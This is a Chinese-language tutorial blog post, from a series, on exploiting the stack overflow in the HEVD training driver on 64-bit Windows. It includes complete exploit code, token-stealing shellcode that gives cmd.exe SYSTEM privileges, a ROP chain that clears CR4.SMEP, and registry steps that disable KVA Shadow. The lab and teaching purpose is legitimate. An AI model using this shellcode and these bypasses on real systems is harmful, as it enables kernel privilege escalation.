Joe1sn's Cabinet

【Win Pwn】HEVD-内核栈溢出(中)

上一篇中了解了与内核的交互模式,这里就可以开始做HEVD了

文章已在先知社区投稿:https://xz.aliyun.com/t/13364

编写交互模块

A. 计算IO_CTL值

其实不用这步,但是可以当作更多的了解

在之前的交互中有这么一条定义功能号

1
#define IOCTL_MUL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x9888, METHOD_BUFFERED, FILE_ANY_ACCESS)

但是…HEVD逆向会发现是这样的

image-20240117184722533

发现CTL_CODE也是个宏定义

1
2
3
#define CTL_CODE( DeviceType, Function, Method, Access ) (                 \
((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) \
)

其中,这里

  • DeviceType -> FILE_DEVICE_UNKNOWN = 0x22
  • Function -> = 0x9888
  • Method -> METHOD_BUFFERED=0
  • Access -> FILE_ANY_ACCESS=0

表达式就为

1
2
3
4
  (0x22 << 16) | (0 << 14) | ( 0x9888 << 2) | 0
= 0x220000 | 0 | 0x9888 << 2 | 0
= 0x220000 | 0x9888 << 2
= 0x226220

很容易得到逆向,这里以0x226220为例子

1
2
0x205B = 0x22205B ^ 0x220000
0x816 = 0x205B>>2

那么对应的函数

1
2
3
unsigned int io2num(unsigned int ioctl_num) {
return ((ioctl_num ^ 0x220000) >> 2) & 0xfff;
}

后面之所以要&一下是因为数据的大小就只有那么大,所以II文章的描述符0x9888实际有效的只有0x888

B. 功能选择

这里就以最简单的内核栈溢出举例子

每开始一个漏洞利用就编写一个菜单,然后选择解析逆向出来的功能描述符,运行对应函数,没啥好讲的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void menu() {
cout << "============HEVD Hack EXP============\n";
cout << " 1. [0x222003]****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******\n";
cout << "input io ctl> ";
}

int main()
{
HANDLE hDevice = NULL;
hDevice = CreateFileW(L"\\\\.\\My1DeviceLinker", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
cout << "Error Create File\n";
return 0;
}

unsigned int io_ctl = 0;
menu();
scanf_s("%x", &io_ctl);
printf("%x, %x", io_ctl, io2num(io_ctl));

switch (io_ctl)
{
case 1: {
cout << "Now Excuting ...\n";
cout << "1. [0x222003]****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ****** ...\n";
//
// EXP FUNCTION HERE
//
}
default:
break;
}
}

C. 简单与功能交互

image-20240117192837142

这里要传一个空间和大小过去,这里用的到方式就是上一篇的IOCTL方式

这里我把所有的exp定义在exp.c

1
2
3
4
5
6
7
void StackOverflow(HANDLE hDevice, unsigned int ioctl) {
char stackspace[0x50] = "aaaaa\0";
unsigned int size = 0x30;
DWORD info = 0;
DeviceIoControl(hDevice, ioctl, stackspace, sizeof(DWORDLONG), &size, sizeof(DWORDLONG), &info, NULL);
std::cout << "IO Complete\n";
}

image-20240117195630472

驱动定义了一个2048大小的栈空间v5,但是写入的空间是我们可以控制的,尝试触发漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void StackOverflow(HANDLE hDevice, unsigned int ioctl) {
char stackspace[0x1000] = { 0 };
unsigned int size = 0x1000;
RtlFillMemory(stackspace, size, 'A');
DWORD info = 0;

DeviceIoControl(hDevice, ioctl,
stackspace, size,
NULL, 0,
&info, NULL);

printf("info: %d\n", info);
std::cout << "IO Complete\n";
}

image-20240117202959678

image-20240117211228964

D. 开始调试

之前符号表好像没加载上,在windbg中,HEVD的描述符一般在同级文件夹下

1
.sympath+ <pdb文件物理机上的路径>

然后再

1
lm m HEVD

image-20240117224344703

1
x /D /f HEVD!*

image-20240117224429242

下个断点

1
bp HEVD!TriggerBufferOverflowStack

这里运行下不崩溃的

image-20240117224828729

I. Windbg 调试常用

在使用Windbg调试内核驱动程序时,你可以使用以下命令查看内存地址:

  • 64位查看内存

    1
    dq <内存地址> L <要查看的长度,长度是64位为一组>
  • 64位查看内存,单列显示,这在查看栈的情况是比较好用

    1
    dqs <内存地址> L <要查看的长度,长度是64位为一组>
  • 在某处添加断点

    1
    bp <内存虚拟地址>
    1
    2
    bp <模块名>!<函数名>
    //bp: break point 如 bp HEVD!TriggerBufferOverflowStack
  • 查看所有断点

    1
    bl
  • 快速反汇编,适合查看gadget

    1
    u <内存地址>
  • 反汇编该地址对应的一段汇编,适合反汇编这段函数后选择断点

    1
    2
    uf <内存地址>
    uf <模块名>!<函数名>
  • 计算器

    1
    ? <计算表达式>

II. 内存布局

image-20240117225628917

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void StackOverflow(HANDLE hDevice, unsigned int ioctl) {
char stackspace[0x1000] = { 0 };
unsigned int size = 0x80;
RtlFillMemory(stackspace, size, 'A');
DWORD info = 0;

DeviceIoControl(hDevice, ioctl,
stackspace, size,
NULL, 0,
&info, NULL);

printf("info: %d\n", info);
std::cout << "IO Complete\n";
}

如果引发溢出的话,看看kernel中的v5变量的布局

image-20240117231239916

image-20240117231345354

这里的kernelBuffer就相当于用户模式下的“栈帧”

同时可以看到我们程序的内存

image-20240117235653641

image-20240117235638456

这个时候顺便看一下rbp

image-20240117231511587

pop前下断点再运行到

image-20240117234330859

所以是rsp+0x20+0x818就得到ret的地址

很明显这里可以通过栈溢出劫持返回地址,然后实现我们的shellcode

III. 布置构思

  • 首先 驱动是64位,所以要用64位的思维去布局
  • 其次,驱动和我们的程序内存之间是能访问的,所以我们在Ring3写shellcode,然后覆盖到Ring0去执行

那么就是

1
"a"*0x810+p64(shellcode_addr)

Shellcode+exp编写

A. shellcode

主要是用这篇:Exploiting Windows 10 Kernel Drivers - Stack Overflow 或者里面参考的两篇

主要目的就是拿去Token然后替换掉一个cmd.exe的Token实现提权,在下一篇文章中会详细提到

This time around we will pass the PID into the shellcode, which means that our tweaked shellcode will look like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
[BITS 64]

push rax
push rbx
push rcx
push rsi
push rdi

mov rax, [gs:0x180 + 0x8] ; Get 'CurrentThread' from KPRCB

mov rax, [rax + 0x220] ; Get 'Process' property from current thread

next_process:
cmp dword [rax + 0x2e0], 0x41414141 ; Search for 'cmd.exe' process ('AAAA' replaced by exploit)
je found_cmd_process
mov rax, [rax + 0x2e8] ; If not found, go to next process
sub rax, 0x2e8
jmp next_process

found_cmd_process:
mov rbx, rax ; Save our cmd.exe EPROCESS for later

find_system_process:
cmp dword [rax + 0x2e0], 0x00000004 ; Search for PID 4 (System process)
je found_system_process
mov rax, [rax + 0x2e8]
sub rax, 0x2e8
jmp find_system_process

found_system_process:
mov rcx, [rax + 0x358] ; Take TOKEN from System process
mov [rbx+0x358], rcx ; And copy it to the cmd.exe process

pop rdi
pop rsi
pop rcx
pop rbx
pop rax

; return goes here

B. EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
void StackOverflow(HANDLE hDevice, unsigned int ioctl) {
char stackspace[0x1000] = { 0 };
char shellcode[256] = {
0x50, 0x53, 0x51, 0x56, 0x57, 0x65, 0x48, 0x8b, 0x04, 0x25,
0x88, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x80, 0x20, 0x02, 0x00,
0x00, 0x81, 0xb8, 0xe0, 0x02, 0x00, 0x00, 0x41, 0x41, 0x41,
0x41, 0x74, 0x0f, 0x48, 0x8b, 0x80, 0xe8, 0x02, 0x00, 0x00,
0x48, 0x2d, 0xe8, 0x02, 0x00, 0x00, 0xeb, 0xe5, 0x48, 0x89,
0xc3, 0x83, 0xb8, 0xe0, 0x02, 0x00, 0x00, 0x04, 0x74, 0x0f,
0x48, 0x8b, 0x80, 0xe8, 0x02, 0x00, 0x00, 0x48, 0x2d, 0xe8,
0x02, 0x00, 0x00, 0xeb, 0xe8, 0x48, 0x8b, 0x88, 0x58, 0x03,
0x00, 0x00, 0x48, 0x89, 0x8b, 0x58, 0x03, 0x00, 0x00, 0x5f,
0x5e, 0x59, 0x5b, 0x58, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff
};

DWORD oldProtect;
STARTUPINFOA si;
PROCESS_INFORMATION pi;

unsigned int size = 0x820;
RtlFillMemory(stackspace, 0x810, 'A');
*(unsigned long long*)(stackspace + 0x818) = (unsigned long long)shellcode;

DWORD info = 0;

VirtualProtect(shellcode, 256, PAGE_EXECUTE_READWRITE, &oldProtect);
printf("[*] Spawning a new cmd.exe process\n");
si.cb = sizeof(STARTUPINFOA);
if (!CreateProcessA(NULL, (LPSTR)"cmd.exe", NULL, NULL, true, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
printf("[!] FATAL: Error spawning cmd.exe\n");
return;
}

printf("[*] Updating our shellcode to search for PID %d\n", pi.dwProcessId);
*(DWORD*)((char*)shellcode + 27) = pi.dwProcessId;

DeviceIoControl(hDevice, ioctl,
stackspace, size,
NULL, 0,
&info, NULL);
printf("info: %d\n", info);
std::cout << "IO Complete\n";
}

image-20240118002020265

然后到ret返回,查看返回地址

1
k

image-20240118002154225

发现返回地地址已经被覆盖了,继续走下去

image-20240118002325326

跳转到了shellcode了,再走两步

image-20240118002504625

???

image-20240118002613223

image-20240118003040168

说我在执行不可执行的内存,但是明明已经VirtualProtect(shellcode, 256, PAGE_EXECUTE_READWRITE, &oldProtect);

???越来越离谱了

尝试把shellcode移动到常量内存中试试,还是不行,接着我再进行ioctl之前pause一下,好像可以了

image-20240118013041535

但是依然被说执行不可执行代码

新的保护机制

查了其他的解法,发现Windows 8过后微软添加了一个叫做SMEP保护的东西

你可以在这里查到关于Windows的所有保护机制:https://learn.microsoft.com/zh-cn/windows/security/threat-protection/overview-of-threat-mitigations-in-windows-10

  • 监督器模式执行防护 (SMEP) :帮助防止内核 (“监督器”) 在用户页面中执行代码,这是攻击者用于本地内核提升特权 (EOP) 的常见技术。 此配置需要在 Intel Ivy Bridge 或更高版本处理器中找到处理器支持,或者具有 PXN 支持的 ARM。

尝试关闭该保护后执行exp,但是发现是无法关闭的,由于内核的整体设计导致该保护在windows8及以上是不能被关闭的,那么就只能想办法绕过了

A. SMEP保护机制及手动绕过

该保护机制强烈依赖于CPU的RC4寄存器,刚好我这里有《英特尔® 64 位和 IA-32 架构开发人员手册合订本》,翻出来看一下

image-20240118103701065

[机翻]从用户模式地址获取指令。
访问权限取决于 CR4.SMEP 的值:
• 如果CR4.SMEP = 0,访问权限取决于分页模式和IA32_EFER.NXE 的值:
— 对于 32 位分页或如果 IA32_EFER.NXE = 0,则可以从任何用户模式获取指令
地址。
— 对于 IA32_EFER.NXE = 1 的其他分页模式,可以通过每个分页结构条目中 XD 标志为 0 的转换从任何用户模式地址获取指令
控制翻译; 指令可能无法从任何用户模式地址获取
在任何控制转换的分页结构条目中 XD 标志为 1 的转换。
• 如果CR4.SMEP = 1,则不能从任何用户模式地址获取指令。
— 仅允许对管理员模式影子堆栈地址进行管理员模式影子堆栈访问
(往上看)。

或许我们将CR4.SMEP的值设置为0,访问权限由页中的U/S标志位决定

CR4寄存器的结构如下(小端序顺序从右向左):

image-20240118105721560

不急,继续搜索发现了一份Intel关于SMEP的更详细的描述

文档:https://web.archive.org/web/20160803075007/https://www.ncsi.com/nsatc11/presentations/wednesday/emerging_technologies/fischer.pdf

尝试使用调试起修改CR4

image-20240118110623235

如果修改第20位为0,rc的值为0x270678,然而还是不行

image-20240118131258807

B. KVAS

Windows内核缓解机制使用了Kva Shadow内存,比如MeltDown漏洞就于此有关,首先不会讲细节,在下一篇文章会讲到,尝试将其关闭

再注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management

创建两个DWORD值:FeatureSettingsOverride FeatureSettingsOverrideMask

设置值为3,然后重启

image-20240118140220468

现在手动设置cr4.SMEP为0

image-20240118141040651

终于运行了

image-20240118141139354

shellcode的一些偏移有问题

image-20240118142143111

更换为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
BYTE cmd[256] = {
0x48, 0x31, 0xc0, 0x65, 0x48, 0x8b, 0x80, 0x88, 0x01, 0x00,
0x00, 0x48, 0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, 0x49, 0x89,
0xc1, 0x48, 0x8b, 0x80, 0x48, 0x04, 0x00, 0x00, 0x48, 0x8b,
0x00, 0x48, 0x8b, 0x50, 0xf8, 0x49, 0x89, 0xc0, 0x48, 0x8b,
0x00, 0x48, 0x83, 0xfa, 0x04, 0x75, 0xf0, 0x49, 0x8b, 0x50,
0x70, 0x48, 0x83, 0xe2, 0xf8, 0x49, 0x8b, 0x89, 0xb8, 0x04,
0x00, 0x00, 0x48, 0x83, 0xe1, 0x07, 0x48, 0x01, 0xca, 0x49,
0x89, 0x91, 0xb8, 0x04, 0x00, 0x00, 0x65, 0x48, 0x8b, 0x04,
0x25, 0x88, 0x01, 0x00, 0x00, 0x66, 0x8b, 0x88, 0xe4, 0x01,
0x00, 0x00, 0x66, 0xff, 0xc1, 0x66, 0x89, 0x88, 0xe4, 0x01,
0x00, 0x00, 0x48, 0x8b, 0x90, 0x90, 0x00, 0x00, 0x00, 0x48,
0x8b, 0x8a, 0x68, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x9a, 0x78,
0x01, 0x00, 0x00, 0x48, 0x8b, 0xa2, 0x80, 0x01, 0x00, 0x00,
0x48, 0x8b, 0xaa, 0x58, 0x01, 0x00, 0x00, 0x31, 0xc0, 0x0f,
0x01, 0xf8, 0x48, 0x0f, 0x07, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff
};

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void StackOverflow(HANDLE hDevice, unsigned int ioctl) {
char stackspace[0x1000] = { 0 };
DWORD oldProtect;

printf("[*] Start Exploit\n");
LPVOID shellcode_addr = VirtualAlloc(NULL,
sizeof(cmd),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
memcpy(shellcode_addr, cmd, sizeof(cmd));

unsigned int size = 0x820;
RtlFillMemory(stackspace, 0x810, 'A');
*(unsigned long long*)(stackspace + 0x818) = (unsigned long long)shellcode_addr;

DWORD info = 0;


printf("shellcode space %p\n", shellcode_addr);
printf("[*] Spawning a new cmd.exe process\n");

system("pause");

DeviceIoControl(hDevice, ioctl,
stackspace, size,
NULL, 0,
&info, NULL);
printf("info: %d\n", info);
system("cmd.exe");
}

调试中手动CR4.SMEP=0(注意,之前已经关闭了KVA)

img

C. 使用内核ROP绕过SMEP

首先我们需要一个类似于mov rc4,xxx的rop,让rc4.smep=0

参考在Linux下进行ROP的经验, payload大致长这样的

1
2
3
4
*(unsigned long long*)(stackspace + 0x818) = (unsigned long long)pop_rcx_ret;
*(unsigned long long*)(stackspace + 0x820) = (unsigned long long)0x00000000002506f8; //set RCX = currentRC4
*(unsigned long long*)(stackspace + 0x828) = (unsigned long long)mov_rc4_rcx_ret;
*(unsigned long long*)(stackspace + 0x830) = (unsigned long long)shellcode_addr;

多调试或者编程自动寻找就可以找到了,这里暂时参考HEVD Exploits – Windows 10 x64 Stack Overflow SMEP Bypass

image-20240118154417340

image-20240118154352984

修改EXP

1
2
3
4
5
6
7
unsigned int size = 0x840;
RtlFillMemory(stackspace, 0x810, 'A');
*(unsigned long long*)(stackspace + 0x818) = (unsigned long long)0xfffff807743f52c0;
*(unsigned long long*)(stackspace + 0x820) = (unsigned long long)0x00000000002506f8; //set RCX = currentRC4
*(unsigned long long*)(stackspace + 0x828) = (unsigned long long)0xfffff807749a41cf;
*(unsigned long long*)(stackspace + 0x830) = (unsigned long long)shellcode_addr;
printf("[*] Start set ROP\n");

没有下断点直接过

image-20240118154931459

image-20240118154854993

遗留

下一篇

  • user编程寻找ROPGadget
  • shellcode编写
  • Token提权
  • KVAS

参考

https://www.bilibili.com/video/BV1pD4y1a7hP/

https://www.cnblogs.com/XiuzhuKirakira/p/16995784.html

https://blog.xpnsec.com/hevd-stack-overflow

https://h0mbre.github.io/HEVD_Stackoverflow_SMEP_Bypass_64bit

https://learn.microsoft.com/zh-cn/windows/security/threat-protection/overview-of-threat-mitigations-in-windows-10

https://joe1sn.eu.org/2023/02/17/windows_kernel_driver_2/

https://web.archive.org/web/20160803075007/https://www.ncsi.com/nsatc11/presentations/wednesday/emerging_technologies/fischer.pdf

https://wumb0.in/windows-10-kvas-and-software-smep.html

https://github.com/xct/windows-kernel-exploits/